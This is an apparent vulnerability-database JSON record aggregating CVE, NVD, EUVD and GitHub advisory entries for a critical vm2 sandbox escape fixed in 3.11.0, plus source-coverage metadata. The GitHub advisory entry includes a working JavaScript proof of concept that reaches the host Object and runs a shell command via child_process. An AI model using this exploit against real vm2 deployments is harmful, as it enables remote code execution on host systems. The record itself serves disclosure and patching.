{"id":"GHSA-47x8-96vw-5wg6","revision":null,"records":[{"revision":"9b74b4ecd69c4dca96b017b82c56d6cc","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-43997","aliases":[],"title":"vm2: Sandbox Escape","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":"2026-05-13T17:17:54.869+00:00","modifiedAt":"2026-09-07T12:05:08.283+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.11.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43997","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-43997","identifiers":["CVE-2026-43997"]},"retained":false,"historicalAffected":[]},{"revision":"2a6ac40ed9d24876bbfd492f88197952","observedAt":"2026-11-07T09:37:42.213+00:00","statement":{"source":"euvd","id":"EUVD-2026-30067","aliases":["CVE-2026-43997","GHSA-47x8-96vw-5wg6"],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to ob…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). 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Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30067","identifiers":["EUVD-2026-30067","CVE-2026-43997","GHSA-47x8-96vw-5wg6"]},"retained":false,"historicalAffected":[]},{"revision":"a535a734a57c4f63ba1221231a1841bf","observedAt":"2026-10-27T11:12:09.678+00:00","statement":{"source":"nvd","id":"CVE-2026-43997","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to ob…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, it is possible to obtain the host Object. There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom). This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":"2026-05-13T18:16:16.177+00:00","modifiedAt":"2026-10-26T17:10:03.27+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","https://access.redhat.com/errata/RHSA-2026:50850","https://access.redhat.com/security/cve/CVE-2026-43997","https://bugzilla.redhat.com/show_bug.cgi?id=2477203","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43997.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43997","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-94","CWE-653"],"productCriteria":["cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-13T18:16:16.177","lastModified":"2026-10-26T17:10:03.270"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-43997","identifiers":["CVE-2026-43997"]},"retained":false,"historicalAffected":[]},{"revision":"2565040c5aa94971bd110c7f4309d50d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-47x8-96vw-5wg6","aliases":["CVE-2026-43997"],"title":"vm2 Access to Host Object Enables Sandbox Escape","description":"### Summary\n\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.\n\n### Details\n\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\n\n### PoC\n\n```js\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, ['__proto__']]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\nconst obj = {\n\t[sym]: (depth, opt, inspect) => {\n\t\tinspect.constructor(\"return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})\")();\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() => {});\n```\n\n### Impact\n\nSandbox Escape -> RCE","state":0,"publishedAt":"2026-05-07T04:00:19+00:00","modifiedAt":"2026-05-14T20:47:29.697869+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6","https://nvd.nist.gov/vuln/detail/CVE-2026-43997","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.0"],"sourceUrl":"https://github.com/advisories/GHSA-47x8-96vw-5wg6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-47x8-96vw-5wg6","identifiers":["GHSA-47x8-96vw-5wg6","CVE-2026-43997"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T17:07:37.1829709+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T17:07:37.1829709+00:00","lastSuccessAt":"2026-11-07T17:07:37.3549159+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:37.3549172+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-715e663378e343ca50c7397586f2d227eca3ece57a7a73d5f48eaadc71eb9f69","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T17:07:36.095653+00:00","lastSuccessAt":"2026-11-07T17:07:36.0305426+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:36.095653+00:00","snapshotPublishedAt":"2026-11-07T16:30:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce98ec71edc04bf7b5b5ed5b4106954c","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T17:19:56.3581416+00:00","lastSuccessAt":"2026-11-07T17:19:56.354+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:19:56.354+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T17:07:37.1829709+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T17:07:37.1829709+00:00","lastSuccessAt":"2026-11-07T17:07:37.3564231+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:37.3564236+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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